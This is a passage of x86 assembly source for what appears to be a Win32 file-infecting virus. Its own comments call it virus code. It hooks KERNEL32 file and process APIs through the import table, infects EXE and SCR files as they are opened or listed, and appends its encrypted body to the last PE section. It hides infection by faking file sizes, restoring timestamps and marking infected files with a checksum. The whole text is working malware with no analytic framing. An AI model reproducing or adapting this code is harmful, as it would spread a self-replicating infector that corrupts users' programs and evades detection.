lea ebx,[ebp + jmp_addr_table - ebp_num] ;get pointer to start of jump adress table
jecxz g_host
call Open&MapFile ;open host filename and memory-map it
g_host: jecxz jmp_host ;if error, jump back to host
push PAGE_EXECUTE_READWRITE
push MEM_COMMIT or MEM_RESERVE or MEM_TOP_DOWN
push (virtual_end2 - code_start + 3) and -4
push esi ;NULL ;let OS choose memory adress
call [ebp + ddVirtualAlloc - ebp_num] ;allocate enough memory for virus code and bufferz
lea ecx,[ebp + FunctionNamez2 - ebp_num] ;get pointer to start of function namez to hook
mov edi,non_res - code_start
xchg ecx,eax ;get size of new allocated block
lea esi,[ecx + PathNamez - code_start]
jecxz close_jmp_host ;if error on VirtualAlloc, close file and jump to host
xchg edi,ecx ;get target adress of new allocated block
mov [ebp + pPathNamez - ebp_num],esi ;initialize pointer to store future pathnamez retrieved by Find(First/Next)File(A/W)
mov esi,edi
xchg [ebp + pcode_start - ebp_num],esi ;get source adress of virus code and store new target adress as new source adress
lea edx,[edi + ecx + jmp_table_size + 1]
mov [ebp + pNewAPIs - ebp_num],edx ;initialize pointer to store hooked APIs in the new jump table
cld
rep movsb ;copy virus code to new allocated block
mov [esi],cl ;force a null to mark the end of function namez to hook
pop ecx ;get start of memory-maped file
inc edi ;get pointer to NewAPItable
push ecx
hook_api: ;hook API functionz, retrieve old API adress and build new API entry into jump table..
pushad
call IGetProcAddressIT ;get RVA pointer of API function inside import table
test eax,eax
jz next_api_hook ;if not found, jump and get next API name
add eax,[ebp + phost_hdr - ebp_num] ;convert RVA to real pointer by addin the actual host base adress
mov edx,esp
push eax
push esp
xchg esi,eax
mov al,0B8h ;build "mov eax,?" instruction into jump table
push 4
push edx
stosb
call [ebp + ddGetCurrentProcess - ebp_num]
push esi
push eax
cld
movsd ;get and copy old API adress into jump table
call [ebp + ddWriteProcessMemory - ebp_num] ;set our API hook
cld
mov al,0E9h ;build "jmp ?" instruction to jump to new API handler
pop edx
pop ecx
stosb
movzx eax,word ptr [ebx] ;build relative offset to new API handler
sub eax,edi
add eax,[ebp + pcode_start - ebp_num]
stosd
push edi
next_api_hook:
popad
inc ebx
xchg esi,eax
@endsz ;get pointer to next API name
inc ebx
cmp [esi],al ;check end of API namez to hook
xchg eax,esi
jnz hook_api ;jump and get next API, if there are more APIz to hook
close_jmp_host:
call Close&UnmapFile ;close and unmap host file
jmp_host:
cld
pop eax
jmp eax ;jmp to host.. or try to quit aplication if an error ocurred while patchin the code section
NewGetProcAddr: ;new GetProcAddress API entry point.. hook wanted API functionz from KERNEL32..
call APICall@n_2 ;call old GetProcAdress API and retrieve API adress in EAX
pushad
mov ecx,[esp.cPushad.Arg1] ;get module handle/base adress
call get_ebp ;get EBP to reference internal variablez correctly
xchg ecx,eax
jecxz end_getproc ;get out if retrieved API adress is zero
sub eax,[ebp + K32Mod - ebp_num] ;is it KERNEL32 base adress?
jnz end_getproc ;no, get out
lea edx,[ebp + jmp_addr_table - 2 - ebp_num] ;yea its KERNEL32, get pointer to start of jump table
lea edi,[ebp + FunctionNamez2 - 1 - ebp_num] ;get pointer to API function namez to hook
cld
n_gproc_next_str: ;search specified API function name from the list of posible API namez to hook..
inc edx
scasb ;get adress to next API function name
jnz $ - 1
mov esi,[esp.cPushad.Arg2] ;get pointer to specified API function name
inc edx
scasb
jz end_getproc ;if end of API namez reached, get out
dec edi
n_gproc_next_chr:
cmpsb ;do API namez match?
jnz n_gproc_next_str ;no, get next API name
dec edi
scasb
jnz n_gproc_next_chr
n_gproc_apis_match: ;API namez match, we need to hook the API..
lea ebx,[ebp + NewAPItable + nAPIS - 10 - ebp_num] ;get top of jump table
mov edi,[ebp + pNewAPIs - ebp_num] ;get current pointer to build new API entry
cmp ebx,edi ;check if jump table is full
jc end_getproc ;get out if full
push edi
sub al,-0B8h ;build "mov eax,?" instruction into jump table
stosb
pop eax
xchg eax,[esp.Pushad_eax] ;retrieve old API adress and swap with the new API adress
stosd
mov al,0E9h ;build "jmp ?" instruction to jump to new API handler
stosb
movzx eax,word ptr [edx] ;build relative offset to new API handler
sub eax,edi
add eax,[ebp + pcode_start - ebp_num]
stosd
mov [ebp + pNewAPIs - ebp_num],edi ;update pointer to next API entry in the jump table
end_getproc:
popad
ret (2*Pshd) ;return to caller
jmp_addr_table: ;adress table.. contains relative offsetz to new API handlerz..
dw NewGetProcAddr - code_start - 4
dw NewGetFileAttrA - code_start - 4
dw NewGetFileAttrW - code_start - 4
dw NewMoveFileExA - code_start - 4
dw NewMoveFileExW - code_start - 4
dw New_lopen - code_start - 4
dw NewCopyFileA - code_start - 4
dw NewCopyFileW - code_start - 4
dw NewOpenFile - code_start - 4
dw NewMoveFileA - code_start - 4
dw NewMoveFileW - code_start - 4
dw NewCreateProcessA - code_start - 4
dw NewCreateProcessW - code_start - 4
dw NewCreateFileA - code_start - 4
dw NewCreateFileW - code_start - 4
dw NewFindCloseX - code_start - 4
dw NewFindFirstFileA - code_start - 4
dw NewFindFirstFileW - code_start - 4
dw NewFindNextFileA - code_start - 4
dw NewFindNextFileW - code_start - 4
dw NewSetFileAttrA - code_start - 4
dw NewSetFileAttrW - code_start - 4
jmp_table_size = $ - jmp_addr_table
NewSetFileAttrW: ;new API handlerz (unicode version)..
NewCreateFileW:
NewCreateProcessW:
NewMoveFileW:
NewCopyFileW:
NewMoveFileExW:
NewGetFileAttrW:
CommonProcessW:
test al,? ;clear carry (unicode version)
org $ - 1
NewSetFileAttrA: ;new API handlerz (ansi version)..
NewCreateFileA:
NewCreateProcessA:
NewMoveFileA:
NewOpenFile:
NewCopyFileA:
New_lopen:
NewMoveFileExA:
NewGetFileAttrA:
CommonProcessA:
stc ;set carry (ansi version)
pushad
call get_ebp2_Uni2Ansi ;get EBP to reference internal variablez correctly and convert unicode string to ansi (for unicode version APIz)
jecxz jmp_old_api
call findfirst ;get atributez, size of file and check if it exists
jz jmp_old_api
dec eax
push eax ;save search handle
@copysz ;copy filename to an internal buffer
call Process_File2 ;try to infect file..
NCF_close:
call [ebp + ddFindClose - ebp_num] ;close file search
jmp_old_api:
popad
jmp eax ;jump to original API adress
NewFindFirstFileW: ;new findfirst API handler.. infect files, stealth (unicode version)
test al,? ;clear carry (unicode version)
org $ - 1
NewFindFirstFileA: ;new findfirst API handler.. infect files, stealth (ansi version)
stc ;set carry (ansi version)
call APICall@n_2 ;call old findfirst API
pushad
inc eax ;if any error, get out
jz go_ret_2Pshd
dec eax
jz go_ret_2Pshd
call get_ebp2_Uni2Ansi ;get EBP to reference internal variablez correctly and convert unicode string to ansi (for unicode version APIz)
jecxz go_ret_2Pshd
mov edi,[ebp + pPathNamez - ebp_num] ;get pointer to new entry in pathnamez table
lea ebx,[ebp + PathNamez + nPATHNAMEZ - MAX_PATH - ebp_num] ;get top of pathnamez table
cmp edi,ebx
jnc go_ret_2Pshd ;if not enough space to store filename, jump
mov ebx,edi
@copysz ;copy filename to pathnamez table
next2_ff: mov al,[edi - 1] ;get end of path..
add al,-'\'
jz eop_ff
sub al,':' - '\'
jz eop_ff
dec edi
cmp ebx,edi
jc next2_ff
xor al,al
eop_ff: stosb ;force null to split path from filename
mov [ebp + pPathNamez - ebp_num],edi ;update pointer to next entry in pathnamez table
call get_handle_ofs_0 ;get new free entry in handlez table
jc go_ret_2Pshd
mov eax,[esp.Pushad_eax] ;get handle returned by findfirst
stosd ;store handle into handlez table
xchg eax,ebx
stosd ;store pointer to asociated pathname into handlez table as well
mov [ebp + pHandlez - ebp_num],edi ;update pointer to next entry in handlez table
xchg esi,eax
jmp FindCommon
go_ret_2Pshd: popad ;return to caller
ret (2*Pshd)
NewFindNextFileW: ;new findnext API handler.. infect files, stealth (unicode version)
test al,? ;clear carry (unicode version)
org $ - 1
NewFindNextFileA: ;new findnextt API handler.. infect files, stealth (ansi version)
stc ;set carry (ansi version)
call APICall@n_2 ;call old findnext API
pushad
call get_handle_ofs_ebp ;get correct entry in handlez table acordin to handle
jc go_ret_2Pshd
mov esi,[edi + 4] ;get respective pathname
FindCommon: lea edi,[ebp + PathName - ebp_num]
@copysz ;copy pathname to respective buffer
dec edi
mov ebx,[esp.cPushad.Arg2] ;get WIN32_FIND_DATA parameter
or al,[ebp + uni_or_ansi - ebp_num] ;check if its ansi or unicode
lea esi,[ebx.WFD_szFileName] ;get filename
jnz its_ansi_fc
call Uni2Ansi ;its unicode, convert to ansi and atach filename to pathname
its_ansi_fc: call Process_File3 ;try to infect file
call get_size ;get file size
jnz go_ret_2Pshd
test [ebx.WFD_nFileSizeLow.hiw.hib],11111100b ;filesize > 64MB?
jnz go_ret_2Pshd ;yea, file too large, jump
div ecx
dec edx
jns go_ret_2Pshd ;if not infected, jump, stealth not necesary
call check_PE_file ;file is infected, do size stealth
jmp go_ret_2Pshd
NewFindCloseX: mov cl,1
call APICall@n ;call old findclose API
pushad
call get_handle_ofs_ebp ;get correct entry in handlez table acordin to handle
jc go_ret_Pshd
lea esi,[edi + 4]
mov ecx,[ebp + pHandlez - ebp_num]
lodsd
sub ecx,esi
pushad
xchg esi,eax ;remove pathname entry
mov ecx,[ebp + pPathNamez - ebp_num]
mov edi,esi
@endsz
sub ecx,esi
mov [esp.Pushad_ebx],ecx
rep movsb
mov [ebp + pPathNamez - ebp_num],edi ;update pointer to handlez table
popad
shr ecx,3 ;remove handle entry
jz setH_fc
FixpPathNamez: movsd
lodsd
sub eax,ebx
stosd
loop FixpPathNamez
setH_fc: mov [ebp + pHandlez - ebp_num],edi ;update pointer to pathnamez table
go_ret_Pshd: popad
ret (Pshd)
Open&MapFile proc ;open and map file in read only mode
; on entry:
; ESI = pszFileName (pointer to file name)
; on exit:
; ECX = 0, if error
; ECX = base adress of memory-maped file, if ok
xor edi,edi
Open&MapFileAdj: ;open and map file in read/write mode
; on entry:
; EDI = file size + work space (in bytes)
; ESI = pszFileName (pointer to file name)
; on exit:
; ECX = 0, if error
; ECX = base adress of memory-maped file, if ok
; EDI = old file size
xor eax,eax
push eax ;0
push eax ;FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push eax ;NULL
mov al,1
push eax ;FILE_SHARE_READ
ror eax,1 ;GENERIC_READ
mov ecx,edi
jecxz $ + 4
rcr eax,1 ;GENERIC_READ + GENERIC_WRITE
push eax
push esi ;pszFileName
call [ebp + ddCreateFileA - ebp_num] ;open file
cdq
xor esi,esi
inc eax
jz end_Open&MapFile ;if error, jump
dec eax
push eax ;push first handle
push edx ;NULL
push edi ;file size + buffer size
push edx ;0
mov dl,PAGE_READONLY
mov ecx,edi
jecxz $ + 4
shl dl,1 ;PAGE_READWRITE
push edx
push esi ;NULL
push eax ;handle
call [ebp + ddCreateFileMappingA - ebp_num] ;create file mapping
cdq
xchg ecx,eax
jecxz end_Open&MapFile2 ;if error, close handle and jump
push ecx ;push second handle
push edi ;file size + buffer size
push edx ;0
push edx ;0
mov dl,FILE_MAP_READ
test edi,edi
.if !zero?
shr dl,1 ;FILE_MAP_WRITE
mov edi,[ebx.WFD_nFileSizeLow]
.endif
push edx
push ecx ;handle
call [ebp + ddMapViewOfFile - ebp_num] ;map view of file
xchg ecx,eax
jecxz end_Open&MapFile3
push ecx ;push base adress of memory-maped file
jmp [esp.(3*Pshd).RetAddr] ;jump to return adress leavin parameterz in the stack
Open&MapFile endp
Close&UnmapFile proc ;close and unmap file previosly opened in read only mode
xor edi,edi
Close&UnmapFileAdj: ;close and unmap file previosly opened in read/write mode
pop [esp.(4*Pshd).RetAddr - Pshd]
call [ebp + ddUnmapViewOfFile - ebp_num] ;unmap view of file
end_Open&MapFile3:
call [ebp + ddCloseHandle - ebp_num] ;close handle
mov ecx,edi
jecxz end_Open&MapFile2 ;if read-only mode, jump
pop eax
push eax
push eax
xor esi,esi
push esi
push esi
push edi
push eax
xchg edi,eax
call [ebp + ddSetFilePointer - ebp_num] ;move file pointer to the real end of file
call [ebp + ddSetEndOfFile - ebp_num] ;truncate file at real end of file
lea eax,[ebx.WFD_ftLastWriteTime]
push eax
push esi
push esi
push edi
call [ebp + ddSetFileTime - ebp_num] ;restore original date/time stamp field
end_Open&MapFile2:
call [ebp + ddCloseHandle - ebp_num] ;close handle
end_Open&MapFile:
xor ecx,ecx
ret
Close&UnmapFile endp
get_ebp2_Uni2Ansi: ;this function sets EBP register to reference internal
; variablez correctly and also converts unicode
; strings to ansi (for unicode version APIz only).
;this function is only useful at the resident stage.
;on entry:
; TOS+28h (Pshd.cPushad.Arg1): pointer to specified file name
;on exit:
; ECX = 0, if error
mov esi,[esp.(Pshd).cPushad.Arg1] ;get source pointer to specified file name
call get_ebp2 ;get actual EBP
lea edi,[ebp + PathName - ebp_num] ;get target pointer to internal buffer
jc ansiok
Uni2Ansi: ;this function converts an ansi string to a unicode string
;on entry:
; ESI = pointer to specified file name
;on exit:
; ECX = 0, if error
xor eax,eax
push eax ;NULL
push eax ;NULL
push MAX_PATH
push edi ;target pointer
push -1
push esi ;source pointer
push eax
push eax ;CP_ACP
call [ebp + ddWideCharToMultiByte - ebp_num]
mov esi,edi
ansiok: xchg ecx,eax
cld
ret
Rva2Raw proc ;this function converts RVA valuez to RAW pointerz inside PE
; filez. This function is specialy useful for memory-maped
; filez.
;given a RVA value, this function returns the start adress
; and size of the section containin it, plus its relative
; delta value inside the section.
;on entry:
; EAX = RVA value
; EBP = start of memory-maped file (MZ header)
; ESI = start of PE header + 3Ch
;on exit:
; EBP = RAW size of section
; EBX = RAW start of section
; ECX = 0, if not found
; start of respective section header (+ section header
; size), if found
; EDX = RVA start of section
; ESI = relative delta of RVA value inside section.
movzx ecx,word ptr [esi.NT_FileHeader \ ;get number of sectionz
.FH_NumberOfSections \
-MZ_lfanew]
jecxz end_Rva2Raw
movzx ebx,word ptr [esi.NT_FileHeader \ ;get first section header
.FH_SizeOfOptionalHeader \
-MZ_lfanew]
lea ebx,[esi.NT_OptionalHeader + ebx - MZ_lfanew]
x = IMAGE_SIZEOF_SECTION_HEADER
match_virtual: ;scan each PE section header and determine if specified RVA
;value points inside
mov esi,eax
mov edx,[ebx.SH_VirtualAddress]
sub esi,edx
sub ebx,-x
cmp esi,[ebx.SH_VirtualSize - x] ;is RVA value pointin inside current section?
jb section_found ;yea we found the section, jump
loop match_virtual ;nope, get next section
end_Rva2Raw:
ret
Rva2Raw endp
get_handle_ofs_ebp: ;this function sets EBP register to reference internal
; variablez correctly and also given a handle, it gets
; a pointer to an entry in the handlez table.
;this function is only useful at the resident stage.
;on entry:
; TOS+28h (Pshd.cPushad.Arg1): specified handle
;on exit:
; EDI = pointer to entry in handlez table
; Carry clear, if ok
; Carry set, if error
xchg ecx,eax
jecxz end_gho_stc
call get_ebp2
mov ecx,[esp.(Pshd).cPushad.Arg1] ;get handle
jecxz end_gho_stc
xchg eax,ecx
cmp ax,?
org $ - 2
get_handle_ofs_0: ;gets a pointer to an empty entry in the handlez table
;this function is only useful at the resident stage.
;on exit:
; EDI = pointer to entry in handlez table
; Carry clear, if ok
; Carry set, if error
sub eax,eax
get_handle_ofs: ;given a handle, this function gets a pointer
; to an entry in the handlez table.
;this function is only useful at the resident stage.
;on entry:
; EAX = specified handle
;on exit:
; EDI = pointer to entry in handlez table
; Carry clear, if ok
; Carry set, if error
lea edi,[ebp + Handlez - 8 - ebp_num]
lea edx,[edi + nHANDLEZ]
next_gho: scasd ;add edi,8
scasd ;
cmp edx,edi ;top of handlez table reached?
jc end_gho ;yea, handle not found, jump
cmp eax,[edi] ;do handlez match?
jnz next_gho ;no, check next handle, jump
test al,? ;yea, handle found, clear carry
org $ - 1
end_gho_stc: stc ;set carry
end_gho: ret
section_found:
x = IMAGE_SIZEOF_SECTION_HEADER
xchg ebp,ebx
add ebx,[ebp.SH_PointerToRawData - x] ;get RAW start of section
xchg ecx,ebp
mov ebp,[ecx.SH_SizeOfRawData - x] ;get RAW size of section
cld
ret
get_relocs: ;this comon funtion is called from both instalation and
; infection stage.
;it simply locates each relocation block in the .reloc section
; and calls a function to (a) nulify those dangerous reloca-
; tionz in a block (infection stage) or (b) to fix the code
; pointed to by such marked relocationz (instalation stage).
;on entry:
; EDI = RVA start pointer to chunk of code
; TOS+04h (Arg1): fix_relocs label function adress (instalation stage)
; or
; nul_relocs label function adress (infection stage)
; TOS+00h (return adress)
add esi,ebx ;get start of relocation section in aplication context
add edx,edi ;get end adress of chunk code
lea ebp,[ecx+esi] ;get end of relocation section in aplication context
process_reloc_blocks:
lodsd
xchg ebx,eax ;get start RVA for this block of relocationz
lea ecx,[ebx + 4096] ;get end RVA where relocationz can point in a block
lodsd ;get size of reloc block
x = IMAGE_SIZEOF_BASE_RELOCATION
add eax,-x
cmp edi,ecx ;RVA pointer inside relocation block? (check low boundary)
lea ecx,[eax + esi] ;get next block adress
push ecx
jnc next_reloc_block
shr eax,1
cmp ebx,edx ;RVA pointer inside relocation block? (check high boundary)
jnc next_reloc_block
xchg ecx,eax ;get number of relocationz for this block
jecxz next_reloc_block
call [esp.(Pshd).Arg1] ;call fix_relocs function or nul_relocs function
next_reloc_block:
pop esi ;get next block adress
lea eax,[esi + x]
cmp eax,ebp ;end of relocation blockz?
jc process_reloc_blocks ;no, process the block, jump
ret (Pshd) ;yea, no more relocation blockz, return
Process_File3: ;this function copies a filename to an internal buffer
; and checks the extension thru a list of infectable
; extensions (EXE and SCR filez for the moment). If
; the extension matches, the file will be infected.
@copysz
mov edx,not 0FF202020h ;upercase mask
mov ecx,[edi-4] ;get filename extension
lea esi,[ebp + Exts - ebp_num] ;get pointer to list of extensionz
and ecx,edx ;convert file extension to upercase
next_ext:
lodsd ;get extension from list
dec al ;no more extensionz?
js end_PF3
and eax,edx ;convert extension to upercase
dec esi
xor eax,ecx ;do extensionz match?
jnz next_ext
cmp byte ptr [edi-5],'.'
jnz end_PF3 ;no, get next extension
call Process_File2 ;yes, extensionz match, infect file
end_PF3: ret
err_Rva2Raw:
popad ;needed to unwind the stack from some function
err_Rva2Raw2:
popad ;needed to unwind the stack from some function
ret
Attach proc ;attach virus code to last section in the PE file and
; change section characteristicz to reflect infection.
;on entry:
; ECX = base of memory-maped file
; EDI = original file size
;on exit:
; EDI = new file size
lea esi,[ecx.MZ_lfanew] ;get base of PE header + 3Ch
mov eax,[ebp + pcode_start - ebp_num] ;get start adress of virus code
add esi,[esi]
mov edx,[esi.NT_OptionalHeader \ ;get built-in image base
.OH_ImageBase \
-MZ_lfanew]
pushad ;save valuez to stack
xor eax,eax
x = IMAGE_SIZEOF_SECTION_HEADER
sub al,-x
mul byte ptr [esi.NT_FileHeader \ ;get number of sectionz
.FH_NumberOfSections \
-MZ_lfanew]
add ax,word ptr [esi.NT_FileHeader \ ;get first section header
.FH_SizeOfOptionalHeader \
-MZ_lfanew]
jc err_Rva2Raw2
lea ebx,[esi.NT_OptionalHeader - MZ_lfanew + eax]
mov eax,[esi.NT_OptionalHeader.OH_SectionAlignment - MZ_lfanew]
mov edx,[esi.NT_OptionalHeader.OH_FileAlignment - MZ_lfanew]
dec eax
dec edx
or eax,edx ;check SectionAlignment and FileAlignment fieldz
cmp eax,10000h
jnc err_Rva2Raw2 ;too large?
add edi,ecx ;get end of file in MM-file
inc al
jnz err_Rva2Raw2
mov eax,[ebx.SH_VirtualAddress - x]
mov ebp,ecx ;get MM-file base address
add eax,edi
add ecx,[ebx.SH_PointerToRawData - x]
sub eax,ecx ;get new RVA entry point
;at this point:
;
; cPushad.EAX = source adress of code to copy (start at encrypted stringz)
; cPushad.EBX = embedded (in PE header) host base address
; EBP = start of MM-file. Base address of MM-file
; EAX = new RVA entry point (start of virus code RVA)
; EDX = file alignment - 1
; EDI = target adress where code will be copied to in the MM-File
; ECX = start adress of last section in the MM-file
; EBX = start adress of last section header (plus section header size)
; in the MM-file
; ESI = start of PE header (+ 3Ch) in the MM-file
pushad
mov eax,[esi.NT_OptionalHeader \ ;get current entry point
.OH_AddressOfEntryPoint \
-MZ_lfanew]
;on entry:
;
; EAX = Host EntryPoint RVA
; EBP = start of MZ header (start of MM-file)
; ESI = start of PE header + 3Ch (in MM-file)
call Rva2Raw ;find true code section (clue: EntryPoint RVA points inside)
;on exit:
;
; EBP = raw size of CODE section
; EBX = raw start of CODE section
; ECX = 0, if not found
; start of CODE section header (+ section header size), if found
; EDX = start of CODE section RVA
; ESI = relative delta of RVA inside CODE section.
jecxz err_Rva2Raw ;code section not found, invalid EntryPoint
pushad
mov ebp,esp
mov edx,[ebp.(2*cPushad).Pushad_ebp] ;get original ebp
x = IMAGE_SIZEOF_SECTION_HEADER
or byte ptr [ecx.SH_Characteristics.hiw.hib - x],20h ;set exec bit to section
exec_set:
mov esi,[edx + ImportHdr - ebp_num] ;get import section header
xor ecx,esi ;is import table inside code section?
jz IT_in_Code ;yea, jump
;import table NOT inside code section (i.e. probably exists an .idata section)
or byte ptr [esi.SH_Characteristics.hiw.hib - x],80h ;set writable bit
IT_in_Code: ;import table is inside code section (stupid microsoft)
;no need to set the writable bit (the exec bit does the job)
sub ecx,ecx
push edi ;need this value l8r, push it
mov cl,5
sub eax,0B2FD26A3h
sub_1st_val = dword ptr $ - 4
add edi,ecx ;add edi,5
stosd
push edi
mov eax,ecx ;ax = 5
stosw
sub al,- 0e9h + 5 ;al = E9h
stosb
mov eax,[ebp.cPushad.Pushad_eax] ;get RVA start of virus code
sub eax,[ebp.Pushad_eax]
sub eax,ecx ;sub eax,5
stosd
xor eax,eax
pop esi
stosw ;0
mov edi,[ebp.Pushad_eax]
nulify_relocs: ;nulify relocs that could overwrite our inserted chunks of code..
push edi
lodsw
cwde
pushad
mov esi,[ebp.cPushad.Pushad_esi] ;get PE header (+ 3Ch)
mov ecx,[esi.NT_OptionalHeader \ ;get size of relocation blockz
.OH_DirectoryEntries \
.DE_BaseReloc \
.DD_Size \
-MZ_lfanew]
jecxz go_popad ;no relocationz, jump
push eax ;save size of this chunk of code temporarily
push ecx
mov ebp,[ebp.cPushad.Pushad_ebp] ;get base of MM-file (MZ header)
mov eax,[esi.NT_OptionalHeader \ ;get RVA start of relocation blockz
.OH_DirectoryEntries \
.DE_BaseReloc \
.DD_VirtualAddress \
-MZ_lfanew]
call Rva2Raw ;convert RVA to a raw offset inside the section
pop eax
pop edx ;retrieve size of this chunk of code temporarily
jecxz go_popad
xchg ecx,eax
call mark_reloc ;pass nul_relocs as a parameter to get_relocs function
nul_relocs:
lodsw ;get relocation item
cwde
ror eax,3*4
add al,- IMAGE_REL_BASED_HIGHLOW ;check relocation type
jnz n_next_reloc ;not valid, get next relocation item
shr eax,5*4 ;strip or blank relocation type field from relocation item
lea eax,[eax + ebx + 4] ;convert relocation pointer to RVA
cmp edi,eax ;check if relocation points to our chunk of code..
jnc n_next_reloc ;check low boundary
add eax,-4
cmp eax,edx ;check high boundary
jnc n_next_reloc ;it doesnt point to our chunk of code, get next relocation item
;this relocation item is pointing inside our chunk of code..
;nulify and mark it!
and byte ptr [esi.hib - 2],not (mask RD_RelocType shr 8) ;nulify relocation!
n_next_reloc:
loop nul_relocs ;get next relocation item
ret
mark_reloc:
call get_relocs
go_popad:
popad
xchg ecx,eax ;size of this chunk of code
add edi,[ebp.Pushad_ebx] ;convert RVA start of chunk of code to a raw value
sub edi,[ebp.Pushad_edx]
pre_crypt:
lodsb ;encrypt chunk of code..
xchg [edi],al
ror al,cl
inc edi
xor al,06Ah
_xor_2nd_val = byte ptr $ - 1
mov [esi-1],al
loop pre_crypt
lodsw ;get next chunk of code
cwde
pop edi
xchg ecx,eax ;no more chunkz?
jecxz pre_crypt_done
sub edi,ecx ;point EDI to next chunk
jmp nulify_relocs ;check relocationz, jump
pre_crypt_done:
sub al,-0e8h ;build 'call' instruction
pop edi
stosb
lea eax,[eax + get_base - code_start - 4 - 0e8h + esi] ;
sub eax,edi
stosd
mov cx,(v_end - code_start + 3)/4
add eax,edi
mov edi,[ebp.cPushad.cPushad.Pushad_eax] ;get start of virus code
mov edx,[ebp.cPushad.cPushad.Pushad_edx] ;get embedded base
xchg esi,edi
rep movsd ;copy virus code
sub ecx,[ebp.cPushad.Pushad_eax]
mov [ebp.cPushad.Pushad_edi],edi
add ecx,-5
mov [eax + old_base - get_base],edx ;hardcode some valuez..
mov [eax + delta_host - get_base],ecx
popad
popad
x = IMAGE_SIZEOF_SECTION_HEADER
sub edi,ecx ;change characteristicz of last section in the PE header..
lea ecx,[edx + edi]
xchg edx,eax
inc eax
cdq ;edx=0
xchg ecx,eax
div ecx ;calculate new size of last section
mul ecx
xchg eax,edi
mov ecx,[esi.NT_OptionalHeader.OH_SectionAlignment - MZ_lfanew]
sub eax,v_end - virtual_end
cmp [ebx.SH_VirtualSize - x],eax ;calculate new virtual size of last section
jnc n_vir
mov [ebx.SH_VirtualSize - x],eax
n_vir: dec eax
mov [ebx.SH_SizeOfRawData - x],edi ;update size of last section
add eax,ecx
div ecx
mul ecx
pop ebp ;get original file size
add eax,[ebx.SH_VirtualAddress - x]
cmp [esi.NT_OptionalHeader.OH_SizeOfImage - MZ_lfanew],eax ;update size of image field in the PE header
jnc n_img
mov [esi.NT_OptionalHeader.OH_SizeOfImage - MZ_lfanew],eax
n_img: add edi,[ebx.SH_PointerToRawData - x]
sub ecx,ecx
or byte ptr [ebx.SH_Characteristics.hiw.hib - x],0C0h ;change section flagz
push ebp
mov eax,[esi.NT_OptionalHeader.OH_CheckSum - MZ_lfanew] ;calculate special checksum to mark infected filez
xor ebp,eax
add al,-2Dh
xor ebp,0B2FD26A3h xor 0D4000000h
not al
xor al,ah
shl ebp,6
xor al,byte ptr [esi.NT_OptionalHeader.OH_CheckSum.hiw - MZ_lfanew]
shr al,2
shld eax,ebp,3*8+2
mov [esi.NT_FileHeader.FH_TimeDateStamp - MZ_lfanew],eax ;store checksum value
pop eax ;get original file size
mov cl,65h
cmp eax,edi ;calculate new file size..
.if carry?
xchg edi,eax
.endif
sub eax,1 - 65h
div ecx
mul ecx ;use size paddin..
push eax
end_Attach:
popad
needed_ret:
ret
Attach endp
Process_Dir: ;this function receives a pointer to an asciiz string
; containin a path, then it searches filez with an extension
; matchin the list of extensionz, and finaly infects them.
;on entry:
; EDI = pointer to pathname
; EAX = size of pathname
dec eax
cmp eax,7Fh
jnc needed_ret ;if pathname greater than 7Fh characterz, jump
pushad
mov esi,edi
adc edi,eax
cld
mov al,'\' ;add '\' to the pathname if not included
cmp [edi-1],al
jz Find_Filez
stosb
Find_Filez: ;find filez in the specified pathname..
push edi
sub eax,'\' - '*.*'
stosd
call findfirst ;find each file "*.*" in the path
pop edi
jz end_Attach ;if error, jump
dec eax
push eax ;save search handle
Process_File: ;a file was found, process it
push edi
lea esi,[ebx.WFD_szFileName] ;get filename
call Process_File3 ;process file, infect it
Find_Next:
pop edi
pop eax
push eax
push ebx
push eax
call [ebp + ddFindNextFileA - ebp_num] ;find next file
test eax,eax ;more filez?
jnz Process_File ;yea, process it, jump
Find_Close:
call [ebp + ddFindClose - ebp_num] ;close search
end_Find:
end_Process_Dir:
popad
ret
APICall@n_2: mov cl,2 ;call an API and pass two parameterz
APICall@n proc ;this function calls an API and passes "n" parameterz
; as argumentz
;on entry:
; EAX = API function adress
; ECX = number of paremeterz
pushfd
movzx edx,cl
mov ecx,edx
push_args: push dword ptr [esp.(2*Pshd) + 4*edx] ;push parameter
loop push_args
call eax ;call API
popfd
ret
APICall@n endp
IGetProcAddressIT:
pop edx
push eax
lea eax,[ebp + vszKernel32 - ebp_num]
push eax
push edx
GetProcAddressIT proc ;gets a pointer to an API function from the Import Table
; (the object inspected is in raw form, i.e. memory-maped)
;on entry:
; TOS+08h (Arg2): API function name
; TOS+04h (Arg1): module name
; TOS+00h (return adress)
;on exit:
; EAX = RVA pointer to IAT entry
; EAX = 0, if not found
pushad
lea esi,[ecx.MZ_lfanew]
mov ebp,ecx ;get KERNEL32 module handle
add esi,[esi] ;get address of PE header + MZ_lfanew
mov ecx,[esi.NT_OptionalHeader \ ;get size of import directory
.OH_DirectoryEntries \
.DE_Import \
.DD_Size \
-MZ_lfanew]
jecxz End_GetProcAddressIT2 ;if size is zero, no API imported!
mov eax,[esi.NT_OptionalHeader \ ;get address of Import directory
.OH_DirectoryEntries \
.DE_Import \
.DD_VirtualAddress \
-MZ_lfanew]
call Rva2Raw ;find size and raw start of import section
jecxz End_GetProcAddressIT
push esi
mov eax,[esp.(Pshd).Pushad_ebp]
mov [eax + ImportHdr - ebp_num],ecx ;save raw adress of import section header for l8r use
x = IMAGE_SIZEOF_IMPORT_DESCRIPTOR
Get_DLL_Name: ;scan each import descriptor inside import section to match module name specified
pop esi ;diference (if any) between start of import table and start of import section
mov ecx,[ebx.esi.ID_Name] ;get RVA pointer to imported module name
End_GetProcAddressIT2:
jecxz End_GetProcAddressIT ;end of import descriptorz?
sub ecx,edx ;convert RVA pointer to RAW
cmp ecx,ebp ;check if it points inside section
jae End_GetProcAddressIT
sub esi,-x
push esi ;save next import descriptor for later retrieval
lea esi,[ebx + ecx]
mov edi,[esp.(Pshd).cPushad.Arg1] ;get module name specified from Arg1
Next_char_from_DLL: ;do a char by char comparison with module name found inside seccion
;stop when a NULL or a dot '.' is found
lodsb
add al,-'.'
jz IT_nup ;its a dot
sub al,-'.'+'a'
cmp al, 'z'-'a'+ 1
jae no_up
add al,-20h ;convert to upercase
no_up: sub al,-'a'
IT_nup: scasb
jnz Get_DLL_Name ;namez dont match, get next import descriptor
cmp byte ptr [edi-1],0
jnz Next_char_from_DLL
Found_DLL_name: ;we got the import descriptor containin specified module name
pop esi
lea eax,[edx + esi.ID_ForwarderChain - x]
add esi,ebx
mov [esp.Pushad_edx],eax ;store pointer to ForwarderChain field for later use
mov [esp.Pushad_esi],esi ;store pointer to import descriptor for later use
push dword ptr [esp.cPushad.Arg2]
